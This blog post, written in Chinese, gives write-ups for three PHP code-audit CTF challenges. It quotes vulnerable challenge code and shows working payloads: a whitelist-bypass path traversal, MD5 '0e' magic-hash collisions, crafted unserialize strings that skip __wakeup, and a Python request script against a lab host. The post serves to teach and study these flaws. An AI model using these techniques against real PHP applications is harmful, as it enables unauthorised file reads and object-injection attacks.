1. 程式人生 > 其它 >部分php程式碼審計

部分php程式碼審計

[HCTF 2018]WarmUp

題目本身並不難,主要是php程式碼讀的太少了,許多函式都是一臉懵。
開啟靶機看到的是一個滑稽……
F12檢視原始碼,發現source.php,URL處輸入開啟,發現原始碼。我們把原始碼複製到vsc裡面看:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {   //whitelist不是白名單嘛
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //第一次檢測,變數是否宣告或者變數是否為字串,也就是說變數必須宣告且為字串才能跳出第一次判斷
            if (! isset($page) || !is_string($page)) {  
                echo "you can't see it";                
                return false;
            }
            //檢視變數是與白名單匹配
            if (in_array($page, $whitelist)) {          
                return true;
            }
            //$page前有?,從?前取字串,用於過濾“?”
            $_page = mb_substr(                         
                                                        
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            //跑完一次?過濾再次匹配白名單
            if (in_array($_page, $whitelist)) {         
                return true;
            }
            //url解碼
            $_page = urldecode($page);  
            //再過濾一次“?”                
            $_page = mb_substr(                         
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            //第三次匹配白名單
            if (in_array($_page, $whitelist)) {         
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    //保證傳入不為空 & 保證傳入為字串 & 確保傳入通過方法驗證
    if (! empty($_REQUEST['file'])            
        && is_string($_REQUEST['file'])       
        && emmm::checkFile($_REQUEST['file']) 
    ) {
        //包含file
        include $_REQUEST['file'];            
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>

雖然第七行就出現了可疑的hint.php,但是我們得看一下這串程式碼到底什麼意思。下面是我查詢的部分我不太懂的函式。

$_REQUEST      獲取以POST方法和GET方法提交的資料,速度較慢
is_string()    函式用於檢測變數是否是字串。返回布林值
::             以“靜態方式”操作某個“類”的成員方法或屬性。
isset()        判斷變數是否被賦值,返回布林值
->             物件執行方法或取得屬性。
=>             數組裡鍵和值對應。
mb_strpos(haystack ,needle)返回要查詢的字串在別一個字串中首次出現的位置,                  haystack為被檢查的字串,needle為要搜尋的字串
mb_substr()    函式返回字串的一部分。
in_array()     函式搜尋陣列中是否存在指定的值。
include       (或 require)語句會獲取指定檔案中存在的所有文字/程式碼/標記,並複製                到使用 include語句的檔案中。同時可以將 PHP 檔案的內容插入另一個                PHP檔案(在伺服器執行它之前)。

(分析已寫入註釋)
開啟hint.php看一眼flag not here, and flag in ffffllllaaaagggg好怪哦,再看一眼.jpg,確定flag在ffffllllaaaagggg檔案裡面。
通過對類裡面主函式的分析,CheckFile函式進行了三次白名單匹配檢測、兩次“?”過濾、一次URL編碼。只要四個IF語句返回一次true即可包含file(include),也就是說在"?"截斷後只要匹配白名單成功就可以通過檔案穿越拿到檔案ffffllllaaaagggg。

在這裡稍微提一下我不太懂的目錄穿越。目錄穿越(也被稱為目錄遍歷/directory traversal/path traversal)是通過使用 ../ 等目錄控制序列或者檔案的絕對路徑來訪問儲存在檔案系統上的任意檔案和目錄,特別是應用程式原始碼、配置檔案、重要的系統檔案等。
這個順序在../檔案路徑是有效的,表示在目錄結構中上一級。三個連續的../從/var/www/images/升至檔案系統根目錄。
防止目錄穿越的方法有很多,比如說設定黑名單,設定白名單以及按照"."切割讀取檔案引數和檔名等,這裡就不細究了,估計以後寫東西會用的上。
構造payload,payload:hint.php?../../../../../ffffllllaaaagggg

BUU CODE REVIEW 1

開環境就是php程式碼:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
//丟擲異常,必須讓correct與input判等
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
//獲得檔案的內容,即本題flag
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
//判斷GET傳參的正確性
if($_GET['pleaseget'] === '1') {
//判斷post傳參的正確性
    if($_POST['pleasepost'] === '2') {
//MD5加密
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
//php反序列化
            unserialize($_POST['obj']);
        }
    }
}
?>

按照慣例把常見的和不太懂的函式列出來:

unserialize                 函式用於將通過 serialize() 函式序列化後的物件或陣列							進行反序列化,並返回原始的物件結構。
uniqid()                    基於以微秒計的當前時間,生成一個唯一的 ID(以字串的                             性質返回唯一識別符號)。
file_get_contents()         把整個檔案讀入一個字串中。和 file() 一樣,不同的是    	                       file_get_contents() 把檔案讀入一個字串。
__destruct()                類的解構函式,這個等下細細研究。

(分析已寫入註釋)
程式碼大體分為以下幾個步驟:一是get傳參部分,使pleaseget=1;二是post傳參部分,post傳參中,包括pleasepost=2,兩個md5判等,以及php反序列化部分。首先我們處理php序列化部分拿到這一部分字串。本地執行php程式碼或者使用線上php程式碼執行

<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$obj = new BUU();
$obj->correct = $obj->input;
print(serialize($obj));
?>

其中值得一提的是,correct經過uniqid()函式賦予了唯一的ID,沒有辦法進行確定。所以我們在序列化的時候,讓$obj->correct = $obj->input;從而解決這部分問題。由此,我們得到php序列化後的字串:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
之後,涉及到了md5相等的問題。理論上無法獲得兩個完全相等的MD5值,但是PHP在處理雜湊字串時,會利用”!=”或”==”來對雜湊值進行比較,它把每一個以”0E”開頭的雜湊值都解釋為0,
所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以”0E”開頭的,在php中0e會被當做科學計數法,就算後面有字母,其結果也是0,所以上面的if判斷結果使true,成功繞過(弱型別語言if判等導致)。
引數s1開頭時,MD5加密後就會變為0e開頭。所以我們令

md51=s1885207154a
md52=s1836677006a

就可以成功解決MD5的判等的問題。之後就是傳參。除去burpsuite抓包然後傳參,hackbar傳參,postman傳參外,可以自己嘗試寫一寫指令碼payload(其中,get傳參直接在URL中寫入就可以了,不用另外搞):

import requests

req = requests.post(
url="http://59fddd33-2ca8-4756-a085-7e812cb1de82.node4.buuoj.cn:81/?pleaseget=1",
data={
	"pleasepost": "2",
	"md51": "s1885207154a",
	"md52": "s1836677006a",
	"obj": """O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}"""
	}
                   )
print(req.text)

其中requests庫需要安裝,執行程式碼拿到flag。

[極客大挑戰 2019]PHP

開啟後是一個js寫的撓毛線團的貓貓。題目提示有備份檔案。我們賭一把御劍掃描不會被封ip直接給他掃描。掃描出來一個名叫www.zip 的檔案(實際上這個www.zip 貌似挺常見的)。然後把他下載下來,解壓發現裡面有一個flag.php,開啟把字串交上去,然後發現不正確。把目光轉向另外的兩個檔案:index.php和class.php。
其中,index.php檔案裡php程式碼只有下面這一部分:

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

載入class.php檔案,之後unserialize反序列化,get傳參。繼續看class.php裡面的程式碼:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

(不寫註釋分析是因為沒啥好註釋的)
根據destruct分析,當我們令password=100,username=admin的時候,我們可以拿到flag。但是在反序列化之前,會執行__wakeup()魔術方法,再執行destruct這個魔術方法,從而把username重定向為guset。
之前好像遇到過魔術方法,但是忘記寫哪裡了……這裡重新理一理魔術方法。PHP 將所有以兩個下劃線開頭的類方法保留為魔術方法。對應的是其魔術功能。其中這裡我們需要知道的是,serialize()函式會檢查類中是否存在一個魔術方法__sleep()如果存在,該方法會先被呼叫,然後才執行序列化操作。__sleep()常用於提交未提交的資料或者類似的清理工作;同樣的,反序列化unserialize()函式會檢查是否存在__wakeup()方法,如果存在,則會先呼叫 此方法,預先準備物件需要的資源。
通過以上解釋我們瞭解到,在反序列化之前,程式會優先執行__wakeup(),從而把username定位成“guest”。大概是許可權保護吧,我們需要繞過這部分。跳過方式相對也很簡單(?),在反序列化字串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函式的執行。
先使用線上php執行程式進行序列化的構造:

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
print(serialize($a));
?>

得到序列化後的字串O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}。之後進行__wakeup()跳過的修改。Name後面的數字為屬性個數,我們改為3(大於原本的屬性個數即可),然後令select等於這串字串,get傳參嘗試,發現不行。
反反覆覆看了幾遍,只有這個private修飾沒有看,百度查到public、protected與private在序列化時的區別,因此私有欄位的欄位名在序列化時,類名和欄位名前面都會加上0的字首。由於%00是不可見字元打印不出來,我們可以手動加上。s後面的數字為字串的長度,所以也要進行修改。所以我們把字串修改為:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
get傳參成功拿到flag。
之後在百度wp的時候,遇到了另外一種寫法:

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
#進行url編碼,防止%00對應的不可列印字元在複製時丟失
echo urlencode(serialize($a));
?>

其中有意思的是,將序列化出的字串直接進行URL編碼,防止了%00對應的不可列印字元在複製時丟失這一點。學到了學到了。
打印出來並且將Name後面的2改為3後是這個樣子:
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
之後依舊按照原步驟提交,拿到flag。